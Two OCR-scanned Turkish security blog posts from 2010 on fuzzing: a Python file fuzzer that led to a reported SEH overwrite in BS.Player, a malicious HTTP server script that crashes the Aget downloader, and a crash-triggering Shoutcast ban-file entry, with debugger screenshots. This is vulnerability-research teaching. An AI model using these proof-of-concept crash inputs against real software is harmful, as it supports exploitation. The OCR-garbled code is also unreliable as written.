Windows can check online for a solution to the problem.

3 (Check online for a solstion and close thx

- Close the program

- Debug the program

:' e probiem detals
Problem signature: -
Problem Event Name: APPCRASH
Application Name: iexplore.exe
Application Version: 8.0.7600.16385 =
Application Timestamp: 4aSbctiOe
Fault Module Name: Flashl0d.ocx
Fault Module Version: 1004234
Fault Module Timestamp: 4aeTbaed
Freention Code: AOONNS =
i ] &
o T e o oo [as R+

Fuzzzzing

Source: https://www.mertsarica.com/fuzzzzing/
By M.S on January 14th, 2010

P

Bu seferki yazim1 yazmak i¢in biraz ge¢ kaldim, gec olsun ama gii¢ olmasin diyerek hemen konuya giriyorum.

Giivenlik e-posta listelerine iiye iseniz her giin onlarca yeni giivenlik zaafiyetlerinin kesfedildigini gorebilirsiniz. Bunlarin nasil
kesfedildigini biraz arastiracak olursak genellikle kaynak kodu a¢ik olmayan uygulamalardaki giivenlik zaafiyetlerinin ¢ogunun fuzzing
ile kesfedildigini gorebiliriz. Fuzzingi bastan sona anlatmaya kalkacak olursam kitap yazmam gerekir o nedenle kisaca 6zetleyip drnek
bir fuzzer ve giivenlik agiginin kesfedilmesi ile ilgili bir video ile yazimi tamamlayacagim.
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Fuzzing'e kabaca hedef uygulamada hataya sebebiyet vermek amaciyla iiretilen ve hedefe gonderilen veri diyebiliriz. Fuzzerlar
generation ve mutation olarak ikiye ayrilmaktadir. Generation fuzzerlar: elimizde 6rnek bir veri olmadan olusturdugumuz ve hedefe
gonderdigimiz, mutation fuzzerlar1 ile generation fuzzerlarin aksine 6rnek bir veriden (Srnek bir xIs dosyast veya bmp dosyasi) tiiretilen
ve hedefe gonderilen veriler olarak diisiinebiliriz.

Generation fuzzerlara 6rnek vermek gerekirse bir http sunucusu diisiinelim ve port 80'den sunucuya baglanarak farkli boyutlarda ve
karakter setinden rastgele olusturulan ve hedefe gonderilen veriler olarak diisiinebiliriz. Tabii hedef http sunucusu GET/POST vb. benzer
komutlar bekledigi igin parserindan gegmeyerek paketler direk ¢ope gidecektir.

Mutation fuzzerlar ise rastgele olusturulmus bir paket yerine capture edilmis bir paketten olustugu i¢in (6rnegin GET /AAAAA...
HTTP/1.1 ) hedef sistem lizerinde soruna yol agma ihtimali generation fuzzerlara gore daha yiiksektir.

Fuzzerlar ile kesfedilebilecek giivenlik zaafiyetlerinin basinda buffer overflow, integer overflow, format string zaafiyetleri gelmektedir.

Fuzzing yapabilmek i¢in haliylen ya veri iireten ve gonderen kendi fuzzerinizi yazacaksiniz ya da hali hazirda yazilmis fuzzerlardan
faydalanacaksimiz. Ufak bir arastirma yaptiginizda hedef programa uygun fuzzerlar bulmak miimkiin, 6rnegin dosya formatini isleyen
programlari test edecekseniz filefuzz, ag uygulamasi test edecekseniz smudge, framework iizerinde kendi fuzzerinizi gelistirecekseniz
sulley, peach vb. programlardan faydalanabilirsiniz.

Sadede gelecek olursam, gegtigimiz Pazar sabahi bloga ne yazsam ne yazsam diye hindi gibi diisiiniirken bir fuzzer kodlasam bir de bu
fuzzer ile kesfedilmis Oday giivenlik zaafiyeti yayinlasam tadindan yenmez dedim ve download.com sitesinde hedef program aramaya
koyuldum. Sitede biraz gezdikten sonra mediaplayer kategorisinde yer alan, CNET editorleri tarafindan 5 yildiz almis ve 1,275,469
defa indirilmis BS.Player uygulamasina goz atmaya karar verdim. Programi yiikledikten sonra bu program ile iliskili dosya uzantilarini
bulmam gerekiyordu bu nedenle hemen Windows XP'de Windows Explorer'da, Tools -> Folder Options -> File Types listesinde yer
alan uzantilara baktim ve .bsi uzantis1 ilk gdziime ¢arpani oldu. Program ile gelen 6rnek BSI uzantili bir dosya olmadigi i¢in google
iizerinde yaptigim arastirmada bu sayfadaki yaz1 dikkatimi gekti. Mutation fuzzer i¢in 6rnek BSI dosyasini bulmustum ve sira fuzzer
yazmaya gelmisti.

Oturup sip sak python ile kod yazmaya aligmis biri olarak hemen oturdum ama bu sefer hemen kalkamadim. Aksam saatlerine kadar
hem kod yazdim hemde programda hata ortaya ¢iktiginda monitdr edebilmek i¢in arastirmalar yaptim ve sonunda fuzzing yapabilmek
icin asagidaki programi hazirladim. Monitor edebilmek iginse Sehloger adinda bir program buldum.

i mport os

i nport re

i mport time

i nport sys

if sys.platform=="linux' or sys.platform=="1inux2":
clearing = 'clear’

el se:
clearing = 'cls'

0s. systemn(cl eari ng)

pri i "M== == =2 == =2 == == == = == == == == == == == == == == == == == == == == == == == =
print "| Sinple Fuzzer | Mert SARICA | http://wwmv mertsarica.com|"

pr Tt "o oo = = 5 = = 5 5 5 5 5 Do = = e S 5 D S S B S e e = 2
target _process = ' "C \\Program Fi | es\\ Wbt eh\\ BSpl ayer\\ bspl ayer . exe"'
# target_process = ' "bspl ayer. exe"'

target file = "test.bsi"

seh_handl er =
sleeptine = 1

" Sehl oger . exe"
| ogger = "SEHLog.txt"
debugger = seh_handl er + target_process
variables = ["Version", "Title", "FName", "Subl", "Font", "SubPos", "Full Screen", "Skin", "Lang", "Aspect",
for i in range(0, len(variables)-1):
rel= "(" + variables[i] + ")"

re2=' (=)' # Any Single Character 1
re3='((?:\St))" # Rest

readfile = open(target _file, "r")

tempfile = target _file.split(".")

tempfile = tenpfile[0] + str(i) + "." + tenmpfile[1]
print "\nTesting:", variables[i] + "\n"
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txt = readfile.read()
readfile.close()

rg = re.conpil e(rel+re2+re3, re. | GNORECASE| r e. DOTALL)
m = rg. search(txt)

if m
wor d1=m gr oup( 1)
cl=m group(2)
wor d2=m gr oup( 3)
entry = wordl+cl+word2

for min range(1, 10):
os. syst em( debugger)
tine. sl eep(sl eeptine)
witefile = open(tenpfile, "w')
bof = wordl+cl+(("A"'*128)*m

text = txt.replace(entry, bof)
witefile.wite(text)
witefile.close()

bof check = target_process + " " + tenpfile
0s. syst em( bof _check)
tine. sl eep(sl eeptine)

| ogfile = open(l ogger, "r")
log = logfile.read()

if log.find("41414141") > O:
print "\nGay area detected, responsible disclosure or dark side padawan? :)\a\n"
print "Suspucious file:", (tenpfile)
sys. exit()

os. systen("taskkill.exe /1M bspl ayer. exe")
time. sl eep(sl eeptine)

Yukaridaki python kodu 6rnek BSI dosyasi igerisinde yer alan tanimlamalari aliyor ve her deger yerine 128 ve kat1 sayida A koyuyor,
dosyay1 kayit ediyor ve programi exception handler olarak tasarlanmis olan Sehloger programi ile ¢alistiriyor. Sehloger programi ise
programda herhangi bir hata olmast durumunda o anki register degerlerini log olarak yaziyor, daha sonra yazdigim program ise bu log
dosyasi igerisinde 0x41414141 bulur ise mutlu sona ulastigini haber veriyor.

Boyle kuru kuru anlatmakla yetinmeyerek, fuzzerin nasil galistigini ve fuzzer ile nasil 0 day SEH overwrite giivenlik zaafiyeti
kesfettigimi i¢eren ufak bir video hazirladim.

Fuzzer programina buradan, SEH overwrite giivenlik zaafiyetini tetikleyen koda ise buradan ulasabilirsiniz.

SEH overwrite giivenlik zaafiyetine ait ekran goriintiisii ise asagidadir.
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“ Immunity Debugger - bsplayer.exe - [CPL - main thread]

Fie View Debug Plugins

mmil COptions Window Help Jobs

B TE Mxr N MHAUHY |l emtwhcecPkbzo.s ?

Registers (FFU)

[19:33:31] Access violabon when exscuting [41414141] - use Shit+F 7/F8/FY to pass excephion to program

Egzersiz...

Source: https://www.mertsarica.com/egzersiz/
By M.S on January 5th, 2010

=3,

Pas tutmamak i¢in kaynak kodu inceliyor, fuzzing ile de ufak tefek programlar kurcaliyordum ki iki farkli uygulamada iki bug ile
karsilastim. Istismar edilme ihtimallerinin oldukea diisiik oldugunu diisiinsemde el elden iistiindiir diyerek sizlerle paylastyorum belki
aranizdan biri istismar ederek bizleri aydinlatir.

IIk olarak bir ¢ok linux dagitiminda yer alan Enderunix'in Aget v0.4.1 programimin kaynak kodlarii inceledim.

aget-0.4.1\Defs. h

GETRECVSI Z = 8192,

aget-0.4.1\Download.c

void * http _get(void *arg) {
struct thread data *td;
int sd;

char *rbuf, *s;

if ((dr = recv(sd, rbuf, GETRECVSIZ, 0)) == -1) {

Log(" recv failed: %s", tid, strerror(errno));
pthread_exit((void *)1);

}
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rbuf = (char *)calloc(GETRECVSIZ, sizeof(char));

s = rbuf;

1=0;

while(1) {

if (*s == "\n' && *(s - 1) == "\r' && *(s - 2) == "\n' && *(s - 3) =="\1') {
s++;

>

i++;

B

break;
S+
i+ ;

}

Yukaridaki koda dikkat edecek olursak Defs.h dosyasinda GETRECVSIZ, 8192 byte olarak tanimlanmis ve calloc fonksiyonu ile 8192
byte biiyiikliigiinde hafiza tahsis edilmis ve rbuf'a atanmis ancak kontrolsiiz while dongiisti nedeniyle hafiza tasmasi sorunu ortaya
cikiyor ve sonug olarak array index out of bound zaafiyeti ile karsilasiyoruz.

Zaafiyeti teyit etmek i¢inse daha 6nce internetten buldugum (sanirim milwOrmda bulmustum) ve client-side giivenlik zaafiyetini istismar
etmek i¢in hazirlanmis olan araci biraz degistirerek teyit ettim, sonug segmentation fault.

#!/ usr/ bin/env python
from BaseHTTPServer inport HITPServer

from BaseHTTPServer inmport BaseHTTPRequest Handl er

i mport sys

try:

i mport psyco

psyco. full ()

except InportError:

pass

cl ass nyRequest Handl er ( BaseHTTPRequest Handl er) :

try:

def do HEAD(sel f):

# Al ways Accept GCET

# sel f.print Cust onrHTTPResponse(200)

buffer = "HITP/1.1 200 OK\r\nDate: Sat, 02 Jan 2010 13:06:39 QMM r\nServer:
Apache/2.2.11 (Debian) DAV/2 SVN1.5.1 nod_python/3.3.1 Python/2.5.2 nod_ssl/2. 2.11
QpenSSL/0.9.8g nod transform 0.6.0\r\nLast-Mdified: Thu, 02 Jun 2005 07:53:29 GV
\r\nETag: \"f6cedc-5c800-3f88a8879f 040\ "\ r\nAccept-Ranges: bytes\r\nContent-Length: 1\r

\ nCont ent - Type: application/x-nsdos-programr\n"

self.wfile.wite(buffer)
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def do_GET(self):

# Al ways Accept CET

sel f. print Cust omHTTPResponse( 200)

# Print custom HTTP Response

def printCust onHTTPResponse(sel f, respcode):

sel f.send_response(respcode)

sel f.send_header (" Server", "myRequestHandl er")

sel f.send_header (" Content-Length", "1")

buffer = "A"*8041 + "\r\n" + "A"*8041 + "\r\n" + "A"'*8041
# sel f.send_header (" Content-type", "application/x-nsdos-program)
sel f.send_header (" Content-type", buffer)

# self.wfile.wite(buffer)

sel f. end_header s()

except Exception:
pass

httpd = HTTPServer((", 80), myRequestHandler)
try:

httpd.handle request()

httpd.serve forever()

except KeyboardInterrupt:

print ("\n\nExiting exploit...\n\n")

sys.exit()

Aget disinda download.com internet sitesinde gezinirken zamaninda eglenmek i¢in kullandigim shoutcast internet radyo programi
ile karsilagtim ve g6z atmaya karar verdim. Kurulumu gerceklestirip biraz inceledigimde admin panelinde IP adresi banlamak ve
goriintiilemek i¢in kullanilan Ban List boliimii dikkatimi ¢ekti. Programin banlanan IP adresini ise sc_serv.ban dosyasina kayit ettigini
ve her calistirildiginda yiikledigini 6grendikten sonra fuzzing i¢in hedef dosyay1 inceledim ve test i¢in banladigim IP adresine ait kaydin
1.1.1.1;255;Manual Add olarak dosya igerisinde yer aldigimi gérdiim. File fuzzingi otomotize etmek i¢in bir script hazirlamadan 6nce
manuel olarak ger¢eklestirdigim ilk testte uygulamanin goctiigiinii gordiim ve debugger ile inceledigimde EAX registerina istedigim
degeri yazabildigimi gérdiim ancak biraz daha inceledikten sonra EIP registerina gidecek azmi ve vakti bulamadim ve egzersiz olarak
sizlere birakabilecegimi diisiindiim.

Shoutcast v1.9.8 (windows & linux)
sc_serv.ban icerisine 1.1.1.1;255;AAAAA(281 tane) satirin1 eklemeniz EAX registerina yazabilmeniz i¢in yeterli oluyor.
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| Immunity Debugger - sc_serv.exe - [CPU - thread 00000244, module ntdll]

File Wiew Debug F“\ugins Immlib  Options  Window Help  Jobs

[CEH

Erne
RETURM
RETLIRM
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